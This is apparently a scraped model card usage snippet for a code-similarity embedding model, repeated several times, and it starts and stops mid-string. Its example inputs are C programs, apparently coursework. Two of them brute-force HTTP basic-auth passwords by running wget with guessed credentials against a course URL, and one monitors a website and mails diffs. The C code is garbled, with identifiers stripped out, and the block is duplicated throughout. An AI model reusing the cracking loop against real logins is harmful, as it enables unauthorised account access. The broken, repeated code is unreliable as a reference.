'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
